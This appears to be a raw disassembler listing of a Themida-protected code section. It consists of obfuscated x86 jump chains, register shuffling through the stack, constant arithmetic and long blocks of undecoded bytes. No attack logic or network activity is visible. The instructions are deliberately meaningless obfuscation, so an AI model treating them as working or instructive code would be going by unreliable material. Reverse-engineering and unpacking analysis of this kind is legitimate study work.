loc_5535EB: ; CODE XREF: Themida_:00557F80j mov ebp, [esp] add esp, 4 add ebp, 53106C7h push 24F8h mov [esp], ebp push dword ptr [esp] pop eax push 79Ah mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] pop ebp sub esp, 4 mov [esp], edi mov edi, 349D0D56h push ecx push edi jmp loc_555062 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0EC815351h, 4, 0B6241489h, 2823B360h, 24148BF3h dd 0A727E9h, 240C8900h, 3CE9E189h, 8300005Ah, 0E0E901C6h dd 2C000000h, 0E9526674h, 3A20h, 0C681E689h, 4, 0B313E9h dd 2AEA8100h, 0C13E1836h, 0EAC104EAh, 45C28103h, 1FE942Ch dd 24148BD6h, 4C481h, 34330000h, 8B49E924h db 2 dup(0) word_55369E dw 77FFh ; DATA XREF: Themida_:005534A0o dd 59669D1Ch, 2414D366h, 0C4B7E99Ch, 0D7290000h, 0CAEF815Ah dd 8108F31Ah, 5D21C3C7h, 56CF012Dh, 5D21C3BEh, 5EF7292Dh dd 1ACAC781h, 0BA6808F3h, 0E9000071h, 0C4D2h, 76B26859h dd 14890000h, 0BE565124h, 576E36D8h, 0E2C9EE81h, 0F1895742h dd 0E1C1495Eh, 0D3E98108h, 0E9E11DD3h, 91FBh, 0FFFE1AE9h dd 75B72DFFh, 0BF572383h, 45F95F6Eh, 2D14E9h, 5DEF3100h dd 70ACE9h, 7BE95A00h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553723: ; CODE XREF: Themida_:005577FEj pop ebx pop eax add ebx, 6E3F574Fh add ebx, edi push eax mov eax, 644D2123h sub eax, 0F60DC9D4h sub ebx, 261D6CA4h jmp loc_559551 ; --------------------------------------------------------------------------- db 87h dd 0AAAFE9F1h, 4830000h, 515D0424h, 4B9h, 59CD0100h, 8904EC83h dd 1CE9243Ch, 8B0000B8h, 0C4812434h, 4, 0F781D7F7h, 7213D20h dd 7FE368h, 24048900h, 3072BF57h, 0EFC17C9Dh, 9BEFE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55378A: ; CODE XREF: Themida_:0055463Ej shr edi, 3 xor edi, 110EC05Ah add ebx, edi pop edi push ecx push edi push ebx jmp loc_553BAA ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0D6E90000h, 2C0000B1h, 2434FFB0h, 83241C8Bh dd 0ADE904C4h, 81000031h, 6A57B0F1h, 0AE4BE91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5537C6: ; CODE XREF: Themida_:00559BEEj push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or eax, eax jz loc_555E7F push dword ptr [edi+28h] push dword ptr [esp] jmp loc_55800E ; --------------------------------------------------------------------------- dd 4C181h, 0D6E90000h, 30h, 53F1E9DDh, 0C870000h, 3C895C24h dd 3C8B5424h, 3D07E924h db 2 dup(0) word_55380A dw 8B66h ; DATA XREF: Themida_:005533F4o dd 5453240Ch, 52241C8Bh, 0D5E9E289h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55381B: ; CODE XREF: Themida_:00553B30j push ecx push ebp push edx mov edx, 7EB92668h jmp loc_5544A1 ; --------------------------------------------------------------------------- dd 4C281h, 0C2810000h, 4, 0E9241487h, 5423h, 0BD29E7BBh dd 0F0CB815Bh, 0F76D3241h, 44EB81D3h, 4B1FE75Ah, 3BBFEB81h dd 0D9016059h, 2CB4E9h, 5E08900h, 4, 8704C083h, 555C2404h dd 4BDh, 8AE8E900h, 0E9560000h, 9C7Ah, 25A4F781h, 0C281118Ah dd 1D372BE1h, 0BD55FA29h, 13D907A0h, 0BBB8E9h, 0B9515700h dd 1C50245Fh, 81D9F749h, 307A8FE9h, 4E1C11Dh, 3179E9h dd 68575100h, 79487896h, 7780E9h, 0A5EF8100h, 4F0E5741h dd 0BDEAE9h, 24148900h, 50E99C50h, 89FFFFFCh, 6FB1240Ch dd 5336F180h, 87E948B7h, 530000B3h, 0F3802CB3h, 0B7C38007h dd 8EE9DE88h, 80000047h, 805A88C3h, 0C30082C3h, 0E982EB80h dd 19F5h, 0FFC0B60Fh, 34FF8734h, 24048B24h, 0A912E9h, 0C1E98100h dd 0E92CE81Fh, 2D6Fh, 5585450h, 4, 0E2BE5657h, 0BF60D933h dd 9F26CC22h, 28E9F701h, 8900005Eh, 4C581E5h, 57000000h dd 4BFh, 2540E900h, 0FF540000h, 3C8B2434h, 1B27E924h, 0E1050000h dd 0E9FC7A94h, 363Bh, 0FE2882B6h, 0E9241C8Bh, 4F0Ah, 0EAE9EF01h dd 0BA0000A9h, 1C1D4846h, 619AE9h db 0 ; --------------------------------------------------------------------------- loc_55397D: ; CODE XREF: Themida_:0055879Bj sub ebx, ebp pop ebp jmp loc_55E783 ; --------------------------------------------------------------------------- db 28h, 0E8h, 59h dd 0E81E9h, 45A6600h, 0B4505278h, 26CC80C7h, 0CCFED4F6h dd 0FE55C480h, 0BCC480CCh, 807CCC80h, 31E95BCCh, 57000032h dd 457FF5BFh, 1FEF8133h, 81515142h, 0F43DD2F7h, 5FFD01E1h dd 870E9h, 5BD92000h, 0C906866h, 241C8966h, 88B0B551h dd 0B4BEE9EBh db 2 dup(0) word_5539DE dw 8355h ; DATA XREF: Themida_:005532B8o dd 348904ECh, 16BD5524h, 5557093Dh, 7CBD5D5Eh, 3124560Fh dd 24348BF5h, 4C481h, 49E90000h, 0C0000031h, 3BE905E7h dd 83000038h, 348704C6h, 0A0F0E924h, 5B510000h, 81240C8Bh dd 4C4h, 1C5F0900h, 0A34685Bh, 38E90000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A2F: ; CODE XREF: Themida_:0055F359j xor al, 9Ah jmp loc_55DFCF ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C781h, 0C7810000h, 4, 0D6CE9h, 0C1C38100h, 81FDE8C6h dd 5140F7C2h, 0E9DA0179h, 222Ch, 405h, 135DE900h, 1660000h dd 515E66F0h, 5E10B966h, 53CDE9h, 68E95B00h, 87000063h dd 248B240Ch, 24048924h, 47E4E9h db 0 ; --------------------------------------------------------------------------- loc_553A8D: ; CODE XREF: Themida_:0055A225j mov ebx, 7FF20537h add ebp, ebx pop ebx sub ebp, 1A1CB70Ch and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_55F058 ; --------------------------------------------------------------------------- loc_553AAE: ; CODE XREF: Themida_:0055DE59j push edx jmp loc_558F81 ; --------------------------------------------------------------------------- dd 3A4CBF57h, 0CF816EB9h, 6D2F38E5h, 0E905EFC1h, 0FFFFFDF1h dd 9CE9FB29h, 51000099h, 2AD368h, 9F7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553ADA: ; CODE XREF: Themida_:0055E1DCj sub esp, 4 mov [esp], edx jmp loc_556683 ; --------------------------------------------------------------------------- db 0B2h, 18h, 28h dd 0FE9FE9D0h, 0E958FFFFh, 3245h ; --------------------------------------------------------------------------- loc_553AF4: ; CODE XREF: Themida_:00555E85j mov [esp], eax mov eax, ebx jmp loc_55F188 ; --------------------------------------------------------------------------- aRQa9 db 'R²Ÿ€Â9',0 db 0D0h, 5Ah, 8Bh dd 0C481241Ch, 4, 5153D828h, 0B0E932B5h, 5D0000B2h, 0E9585B50h dd 916Eh ; --------------------------------------------------------------------------- loc_553B24: ; CODE XREF: Themida_:0055614Bj mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55381B ; --------------------------------------------------------------------------- aBsfCeasq? db 'áä*CEAéQ?',0 db 0 byte_553B41 db 0ACh, 81h, 0ECh ; DATA XREF: Themida_:005534C0o dd 2, 240C8966h, 874E9h db 0 ; --------------------------------------------------------------------------- loc_553B51: ; CODE XREF: Themida_:00557D74j pop ebx push ebp jmp loc_55E767 ; --------------------------------------------------------------------------- loc_553B58: ; CODE XREF: Themida_:0055E167j pop dword ptr [esp] pop ebx jmp loc_558D39 ; --------------------------------------------------------------------------- aST db '[é!t',0 dw 8100h dd 4ECh, 415E900h, 692C0000h, 99E94904h, 51000026h, 0FE6DDAB9h dd 59CE297Dh, 0E95EF789h, 0B853h, 4EC815Fh, 89000000h dd 0E0E9241Ch, 5000004Eh, 0E288EC88h, 0DAF65958h, 55B7E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553BAA: ; CODE XREF: Themida_:00553799j mov ebx, 6083497Ah mov edi, ebx pop ebx mov ecx, 6083497Eh sub ecx, edi pop edi add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 xchg ebx, [esp] mov esp, [esp] push 3082h jmp loc_556E9D ; --------------------------------------------------------------------------- aHSwv db 'ºH ^,éwV',0 db 0 aWicpshd db 'W‰çPéh„',0 ; DATA XREF: Themida_:005533E0o align 2 loc_553BE6: ; CODE XREF: Themida_:0055F65Bj xchg ebp, [esp] mov eax, [esp] sub esp, 4 mov [esp], edx jmp loc_558DFC ; --------------------------------------------------------------------------- loc_553BF7: ; CODE XREF: Themida_:0055D7A6j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx jmp loc_55C6C8 ; --------------------------------------------------------------------------- dw 0BE56h dd 36271794h, 0D8E870BAh, 24C281C9h, 16A155Bh, 24EA81F2h dd 8B6A155Bh, 0E9562434h, 0FFFFFA2Ch, 76F52D66h, 7F6AE95Eh dd 0C8290000h, 21BDBF57h, 0F82919C6h, 9296E9h, 4EF8300h dd 8B243C87h, 0C892424h, 2474FF24h, 240C8B04h, 8F04C483h dd 0F5C2404h, 9C2404A3h, 0FFF8A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_553C7D: ; CODE XREF: Themida_:00556440j sub bl, cl pop cx add bl, dh add bl, 59h pop dx jmp loc_55DA03 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 4Fh dd 34C5C781h, 0FD89DC45h, 0BF80E9h db 0 ; --------------------------------------------------------------------------- loc_553C9D: ; CODE XREF: Themida_:0055B204j pop ecx push edx jmp loc_5566F4 ; --------------------------------------------------------------------------- dd 0E9241489h, 7EA9h ; --------------------------------------------------------------------------- loc_553CAC: ; CODE XREF: Themida_:0055E09Aj pop eax jmp loc_55C070 ; --------------------------------------------------------------------------- loc_553CB2: ; CODE XREF: Themida_:0055A6BEj mov ebx, [esp] add esp, 4 add ebx, 4AFF1D04h jmp loc_554916 ; --------------------------------------------------------------------------- loc_553CC6: ; CODE XREF: Themida_:0055704Bj shl edi, 6 not edi sub edi, 0FFFFFFFFh dec edi shr edi, 6 sub edi, 1E09E04h sub esp, 4 mov [esp], esi mov esi, edi mov edx, esi push dword ptr [esp] pop esi add esp, 4 pop edi jmp loc_55EA69 ; --------------------------------------------------------------------------- loc_553CF2: ; CODE XREF: Themida_:005564C0j mov edx, edi push ecx push 182Eh mov [esp], edx mov ecx, [esp] add esp, 4 push ecx sub dword ptr [esp], 0F9124EBh pop eax add eax, 0F9124EBh mov ecx, [esp] jmp loc_55B296 ; --------------------------------------------------------------------------- aHj6 db '\h¦6',0 dw 8900h db 14h, 24h, 53h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5552E4 ; --------------------------------------------------------------------------- db 81h dd 4E5313EFh, 0FB46E919h, 420FFFFh, 0E0E99C24h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553D3F: ; CODE XREF: Themida_:0055DC7Cj pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 40h and ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_55455B ; --------------------------------------------------------------------------- dd 8904EC83h, 0B1B62414h, 31BAE9h, 24348900h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 24248924h, 4BF57h dd 7C010000h, 5E5F0424h, 8CA9E9h, 58E58800h, 5DE9DD00h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D9B: ; CODE XREF: Themida_:0055EBC1j neg eax shl eax, 3 xor eax, 4F6134AFh jmp loc_555FC5 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 6F5DE9h, 0B8505A00h, 5E4B1DC2h, 5858C231h dd 875AD701h, 0F65C243Ch, 0B60F66E1h, 0BC6866CCh, 0C896657h dd 0B60F6624h, 9C5166C8h, 0FFF73EE9h, 0F5235FFh, 0FBE976BFh db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553DEB: ; CODE XREF: Themida_:00559FF6j mov ecx, 6F7330A4h mov ebx, 0F925FD99h add ebx, ecx pop ecx shr ebx, 6 or ebx, 7FDA47C3h sub ebx, 56C901E6h jmp loc_5560A5 ; --------------------------------------------------------------------------- dd 0E904C483h, 1E07h ; --------------------------------------------------------------------------- loc_553E14: ; CODE XREF: Themida_:0055BC75j pop esp add edx, 4 jmp loc_55CC1D ; --------------------------------------------------------------------------- dd 5685E54h, 8900002Eh, 0B4E9243Ch, 89000011h, 4BD242Ch dd 1000000h, 0EFE95DEBh, 5B00003Ah, 0E9E78957h, 191h dword_553E48 dd 592434FFh, 4EC81h, 1C890000h, 70E95424h ; DATA XREF: Themida_:00553480o db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553E5B: ; CODE XREF: Themida_:0055703Ej xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_5559CE ; --------------------------------------------------------------------------- dd 0E9DAF74Ah, 1A01h ; --------------------------------------------------------------------------- loc_553E74: ; CODE XREF: Themida_:0055564Aj add eax, edx push edi mov edi, 36456E8Ch add eax, edi pop edi sub eax, 243A0F4Fh jmp loc_55DE0A ; --------------------------------------------------------------------------- loc_553E89: ; CODE XREF: Themida_:005589E1j add dword ptr [esp], 4 pop eax push 7A9h mov [esp], edi push ebx push 3CDE4166h jmp loc_55B317 ; --------------------------------------------------------------------------- loc_553EA1: ; CODE XREF: Themida_:00555910j mov [esp], eax mov eax, 67FA7595h mov ebp, 0F1DEFA37h jmp loc_556F58 ; --------------------------------------------------------------------------- byte_553EB3 db 66h ; DATA XREF: Themida_:005534A8o dd 8324048Bh, 348904ECh, 51E68924h, 296BBB53h, 3AE965C3h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553ECB: ; CODE XREF: Themida_:0055574Aj shr ecx, 1 push edi jmp loc_55AEE2 ; --------------------------------------------------------------------------- db 66h dd 66C8B60Fh, 40E99C51h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553EDF: ; CODE XREF: Themida_:00559504j xor edi, ebx pop ebx and ecx, edi jmp loc_55D493 ; --------------------------------------------------------------------------- loc_553EE9: ; CODE XREF: Themida_:0055A2F5j add ecx, ebp pop ebp and eax, ecx jmp loc_55E9E4 ; --------------------------------------------------------------------------- loc_553EF3: ; CODE XREF: Themida_:00554918j mov esi, [esp] add esp, 4 jmp loc_55CE06 ; --------------------------------------------------------------------------- loc_553F01: ; CODE XREF: Themida_:00557163j add edx, 4 jmp loc_55695D ; --------------------------------------------------------------------------- loc_553F0C: ; CODE XREF: Themida_:0055B5ECj push edi mov edi, 7F6F35F4h mov ebp, edi pop edi sub ebp, 759E655Ah sub ebp, 6DD621Bh inc ebp sub ebp, 2F36E7Ch push ebx mov ebx, 25CE6EC1h xor ebx, 466B6095h jmp loc_557DB0 ; --------------------------------------------------------------------------- loc_553F39: ; CODE XREF: Themida_:0055DF13j shr eax, 0Ch jmp loc_55F156 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89241C89h, 7EBF57E3h, 0F7281F1Dh, 7F6FE9D7h, 55B90000h dd 813E1C0Ah, 0B47E1FC1h, 11E18121h, 8148FD02h, 974195E1h dd 0FDBA5209h, 946762Ah, 27E95AD1h, 0FE00004Ch, 245068C9h dd 68E90000h, 89000093h, 0B4BD242Ch, 0E91B2F3Bh, 5A14h dd 8880EB80h, 241C8BDCh, 4C481h, 10E90000h, 510000A7h dd 0EB28AAB5h, 0CAE95259h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553FB3: ; CODE XREF: Themida_:0055E06Bj pop esp or edx, eax shl edx, 1 jmp loc_55B61B ; --------------------------------------------------------------------------- db 89h, 0F5h, 5Eh dd offset dword_457444+30EA5h dd 0E2C15F00h, 1139E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553FCE: ; CODE XREF: Themida_:00558DA1j add al, 8Fh push small 7F77h jmp loc_55EABE ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 56000000h, 4BEh, 5EF70100h, 5C243C87h, 5366FD86h, 12454F6h dd 0B6E9h, 0F7EAD100h, 1ECA81D2h, 814B4C27h, 197563C2h dd 4EC8116h, 89000000h, 0BD552434h, 49A55C87h, 0C0C5814Dh dd 4D65A336h, 0C581DDF7h, 0FC3EE52Fh, 0C15DEE89h, 0EE8108EEh dd 0D48DF119h, 6426EB2Dh, 5F00105h, 56426EBh, 5E2434FFh dd 2904C483h, 5382DD0h, 815A2BBFh, 4ECh, 24048900h, 0B168E089h dd 8900004Dh, 0A2BD242Ch, 0E94DB87Ch, 52C8h ; --------------------------------------------------------------------------- loc_55406C: ; CODE XREF: Themida_:0055A1D1j add esp, 4 add eax, 0FFFFFFFFh xor eax, 0D1C78FBFh sub [edi+24h], eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 loc_55408F: ; CODE XREF: Themida_:00558C35j push ebx add dword ptr [esp], 1AB47669h jmp loc_55E9A8 ; --------------------------------------------------------------------------- dd 8306E6C0h, 5E904ECh db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5540A7: ; CODE XREF: Themida_:0055A170j mov edx, [esp] jmp loc_55CA06 ; --------------------------------------------------------------------------- db 66h dd 30FD865Bh, 2C32242Ch, 242C3024h, 6169E9h, 46356800h dd 3C890000h, 16824h, 34FF0000h, 0C4835F24h, 0B324E904h dd 52580000h, 0D9E9E289h, 8B00008Ch, 62E9242Ch, 50000031h dd 2B8h, 51E95700h, 1000078h, 0C1835BD9h, 7989E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554102: ; CODE XREF: Themida_:00555D39j add esp, 4 push 72E8h jmp loc_55CDB4 ; --------------------------------------------------------------------------- db 5Ah dd 8B5FF889h, 0C483240Ch, 242C8B04h, 0E904C483h, 0FFFFF3FBh dd 31ACCD81h, 0F74D1315h, 9195E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554132: ; CODE XREF: Themida_:0055F115j push esp jmp loc_5554BC ; --------------------------------------------------------------------------- aZRiSzu db ']‡<$\RˆÂé‡u',0 dd 30C68100h, 5976C258h, 4C681h, 34870000h, 0AB28E924h dd 9D040000h, 9D2CD000h, 3B8BE9h db 0 ; --------------------------------------------------------------------------- loc_554165: ; CODE XREF: Themida_:00559B42j mov esi, 2 add ebx, 387D46E3h sub ebx, 161474BDh add ebx, esi add ebx, 161474BDh jmp loc_55EB1F ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 3C335C24h, 243C3124h, 0E9243C33h, 2EFBh dd 0DCB8505Bh, 573D294Ch, 126FE9h, 126BBA00h, 4EE97521h db 71h, 2 dup(0) byte_5541AF db 66h ; DATA XREF: Themida_:00553344o dd 0E924048Bh, 9908h ; --------------------------------------------------------------------------- loc_5541B8: ; CODE XREF: Themida_:0055DD73j push edi sub esp, 4 jmp loc_55A147 ; --------------------------------------------------------------------------- loc_5541C1: ; CODE XREF: Themida_:00555CE8j dec eax jmp loc_55DFF6 ; --------------------------------------------------------------------------- loc_5541C7: ; CODE XREF: Themida_:0055A67Fj xor [esp+4], esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_55A3E5 ; --------------------------------------------------------------------------- dd 158C229h, 0C335AD1h, 240C3124h, 5C240C33h, 240C8B66h dd 4EC81h, 3C890000h, 50E78924h, 5B36BE56h, 0F68131E7h dd 71884902h, 0E95EF089h, 27D4h, 0D8296659h, 72642D66h dd 0EC835366h, 24348904h, 688EBE66h, 66D6F766h, 6655664Eh dd 6675BBBDh, 5D66EE29h, 37EAE9h, 2F536800h, 14890000h dd 4BF5724h, 89000000h, 0D5015FFAh, 428E9h db 0 ; --------------------------------------------------------------------------- loc_554251: ; CODE XREF: Themida_:00557E2Cj pop eax mov edx, esi pop esi shr edx, 3 sub edx, 41487958h sub esi, 3D54E23h sub esi, edx add esi, 3D54E23h pop edx jmp loc_55F1FD ; --------------------------------------------------------------------------- dw 8F5Fh dd 0B2E92404h, 90000AAh, 243C8BFDh, 4C481h, 0E5C10000h dd 8FC58102h, 511B301Ah, 7CB74FB9h, 59CD3134h, 1F4FE9h dd 0BABF5700h, 0C104461Ch, 0C78107EFh, 397C6386h, 1691C781h dd 0F7815740h, 9891412Eh, 0D5FF801h, 4AF568AAh, 0FFF691E9h dd 242C89FFh, 0A751E9h, 242C8900h, 4EC81h, 8F540000h, 4832404h dd 565D0424h, 2A4DC4BEh, 0C0F6815Dh, 15D2A4Dh, 24348BF5h dd 7F93E9h, 240C8B00h, 4C481h, 0BF570000h, 64D97443h, 7590C781h dd 0E7C17CC1h, 1635E904h, 0E1880000h, 0C8BCA88h, 2741E924h dd 0BA520000h, 1F246464h, 0B46E981h, 0D1016DDFh, 0B46C181h dd 5A5A6DDFh, 0E9240C33h, 8B6Dh, 0F686F280h, 3CCA80DAh dd 0C1EA80h, 505B5AD0h, 58345FB0h, 4DA3E9h db 0 ; --------------------------------------------------------------------------- loc_554355: ; CODE XREF: Themida_:00558DDFj pop ebp pop eax jmp loc_559E64 ; --------------------------------------------------------------------------- dd 0D1F6DAB1h, 0FE6BE180h, 6ADAE9C9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55436A: ; CODE XREF: Themida_:00556232j mov [esp], edx push esi push 51124BC1h pop esi xor esi, 40361372h sub esi, 1124588Fh mov edx, esi pop esi sub edx, 424A2278h add edx, edi add edx, 424A2278h push ecx push esi mov esi, 0 mov ecx, esi pop esi add ecx, 53BE67FDh sub ecx, 4A2A7913h add ecx, edx add ecx, 4A2A7913h sub ecx, 53BE67FDh push edx mov edx, 0 add edx, ecx add [edx], eax pop edx jmp loc_554ED2 ; --------------------------------------------------------------------------- db 0B1h, 0A7h, 2Ch dd 4C828F9h, 0C8B66F9h, 2C48124h, 0 dd 36B353D8h, 8034F380h, 0EB8070C3h, 95C380A5h, 0E905E3C0h dd 132Ah, 4C281h, 38E90000h, 8BFFFFF1h, 0E953243Ch, 0A32Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55C0D0 ; --------------------------------------------------------------------------- dd offset dword_4FD044+424h align 2 dw 3C89h dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 8B241C87h, 24D22424h dd 0E4E99C24h, 33FFFFF0h, 0D2E9241Ch db 14h, 2 dup(0) byte_554443 db 0FFh ; DATA XREF: Themida_:005532F0o dd 669D1C77h, 24041058h, 0F0CDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554452: ; CODE XREF: Themida_:005565D3j add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h, 0CEh, 25h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55445E: ; CODE XREF: Themida_:0055F068j push 5516h mov [esp], edi mov edi, 1Ch mov eax, edi pop edi sub eax, 539A45AAh add eax, edi add eax, 539A45AAh mov ecx, [eax] push dword ptr [esp] mov eax, [esp] push 0C40h mov [esp], eax jmp loc_55BE9E ; --------------------------------------------------------------------------- loc_55448F: ; CODE XREF: Themida_:0055D4D0j not ecx shl ecx, 1 and ecx, 55F92A04h shr ecx, 7 jmp loc_5599EA ; --------------------------------------------------------------------------- loc_5544A1: ; CODE XREF: Themida_:00553823j mov ebp, edx mov edx, [esp] add esp, 4 add ebp, 5A0E097Ch add ebp, 59A25848h jmp loc_558DD9 ; --------------------------------------------------------------------------- loc_5544BA: ; CODE XREF: Themida_:00559866j mov ecx, 7EFE4EBBh dec ecx or ecx, 5ABA0FFFh inc ecx shl ecx, 2 neg ecx jmp loc_55C486 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 4C18159h, 53000000h, 4BBh, 8BD90100h, 0C483241Ch dd 0E7895704h, 4C781h, 5EE90000h, 81FFFFF7h, 0F119A6EAh dd 57FA017Ch, 14F8E9h, 24148900h, 0C380D5B2h, 55E952BEh db 14h, 2 dup(0) byte_554517 db 56h ; DATA XREF: Themida_:0055346Co dd 1BEh, 5273E900h, 0D0880000h, 9BAFE95Ah, 0F8880000h dd 1740E9h, 40478F00h, 4EC8156h, 0E9000000h, 2DC9h, 24148966h dd 0D2E91AB6h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55454B: ; CODE XREF: Themida_:0055B5FFj pop esp add al, ch jmp loc_55580F ; --------------------------------------------------------------------------- db 0FFh a4Sr db '4$ér',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_55455B: ; CODE XREF: Themida_:00553D53j shr ecx, 6 push 5E62h mov [esp], ebx push edi sub esp, 4 mov [esp], esi jmp loc_55F752 ; --------------------------------------------------------------------------- dw 0BB53h dd 2, 0A76CE9h, 244C0100h, 2C815904h, 747E5624h, 24040137h dd 7CABE9h, 31C73100h, 2B36E9F8h, 0EC810000h, 4, 0B9240C89h dd 4, 63B7E9h, 0D8F74800h, 6435D0F7h, 176FD59h, 0BA5258C1h dd 4, 41B4E981h, 0D1016A70h, 5350E9h, 24048B00h, 9081E9h dd 66936600h, 66240487h, 0E924148Bh, 943Ah, 6824048Bh dd 0EA5h, 54243C89h, 4C7815Fh, 68000000h, 0EBBh, 51241C89h dd 312DFCB9h, 0FCC18125h, 0E9758229h, 8DDDh ; --------------------------------------------------------------------------- loc_554610: ; CODE XREF: Themida_:0055FB60j pop edx jmp loc_559DEF ; --------------------------------------------------------------------------- loc_554616: ; CODE XREF: Themida_:00556169j pop ebx xchg esi, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 48D8h mov [esp], ebx mov ebx, esp push edi mov edi, 17C327FFh and edi, 0E261309h sub edi, 7D8C0019h jmp loc_55378A ; --------------------------------------------------------------------------- db 5Dh dd 91D1F791h, 0EE36D42Dh, 35D8F71Ah, 0B509EA90h, 5258C701h dd 48B668h, 24048900h, 0C6579FB8h, 5D0F749h, 49C657A2h dd 24348150h, 5E4B1DC2h, 0FFF73CE9h, 24148BFFh, 70C1E9h db 0 ; --------------------------------------------------------------------------- loc_554681: ; CODE XREF: Themida_:0055C0CBj sub eax, ecx pop ecx add ecx, eax pop eax jmp loc_55ACDA ; --------------------------------------------------------------------------- dd 8104E1C1h, 9562DFC1h, 0E9CB8920h, 0AA7Eh, 2CDECE81h dd 0D4E97CAAh, 68FFFFF4h, 3859h, 0BD242C89h, 4, 0E95DEB29h dd 0CC2h, 15FFD89h, 0C875DE9h, 24248B24h, 582434FFh, 236468h dd 24348900h, 0BB53E689h, 0B257D9Dh, 60768h, 241C8900h dd 5B2414F7h, 0E901EB83h, 1D2Bh, 0EC7804BFh, 0F7CF872Ah dd 81CF87D1h, 0ED7F46CFh, 0A176E912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554706: ; CODE XREF: Themida_:00558FCCj mov [esp], ebx jmp loc_555531 ; --------------------------------------------------------------------------- dw 2489h dd 1FDB6824h, 1C890000h, 4BB24h, 53E90000h, 0F700002Ah dd 8EE92414h db 0B4h, 2 dup(0) byte_55472B db 0ACh ; DATA XREF: Themida_:0055341Co dd 9E04492Ch, 9E2CD800h, 0B4506652h, 0FFC480FAh, 0EC80ECD0h dd 0B173E9FBh db 2 dup(0) word_554746 dw 34FFh ; DATA XREF: Themida_:00553284o aYhys db '$YhYs',0 dw 8900h dd 0E189240Ch, 0F6E95350h, 590000A1h, 2474FF56h, 48F5E04h dd 0AA685C24h, 89000060h, 0E9522404h, 22A2h, 66C0B60Fh dd 0E987048Fh, 0FFFFED9Fh dword_554780 dd 24048B66h, 13E7E955h, 0E9570000h, 933Eh ; DATA XREF: Themida_:00553390o dword_554790 dd 24048B66h, 57CB68h, 243C8900h, 0AE9E789h, 0FFFFFFF1h ; DATA XREF: Themida_:005534BCo dd 5B042474h, 0E924048Fh, 265Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi jmp loc_5551CB ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 33243C31h, 0FF5C243Ch, 48B2434h, 0E2895224h, 4C281h dd 0C2830000h, 6835E904h, 0EAB10000h, 8002E9C0h, 0E98047E9h dd 80D1F6FCh, 94E96BE1h, 810000A3h, 5309FAC3h, 3EBE560Ah dd 0D12FA868h, 0B8CE81EEh, 87324912h, 87D1F7CEh, 0ACAAE9CEh dd 0AF040000h, 0C3800234h, 80C300B5h, 51E9B5EBh, 5E00004Ch dd 203FA01h, 5A2434FFh, 696A68h, 24148900h, 66CE9h, 48F5F00h dd 8B665C24h, 0A6682404h, 89000072h, 0EC832434h, 24248904h dd 4240483h, 4C6815Eh, 0E9000000h, 40C8h ; --------------------------------------------------------------------------- loc_55485C: ; CODE XREF: Themida_:0055F36Bj shl ebx, 8 dec ebx jmp loc_55C72B ; --------------------------------------------------------------------------- db 87h, 0D7h, 0E9h dd 1Eh, 148BD089h, 4C48324h, 4244401h, 582434FFh, 0E904C483h dd 0FFFFEC9Bh, 8A1DE95Eh, 680000h, 29000000h, 3C8B243Ch dd 4C48124h, 0E9000000h, 9EB1h, 4C381h, 16E90000h, 81000060h dd 0D9482DE3h, 27ACE91Ch, 0EB810000h, 0ADD7B96h, 0C381FB01h dd 0ADD7B96h, 55ABEB81h, 33FF2A26h, 0F52BA52h, 543176BFh dd 0E95A0424h, 7F55h ; --------------------------------------------------------------------------- 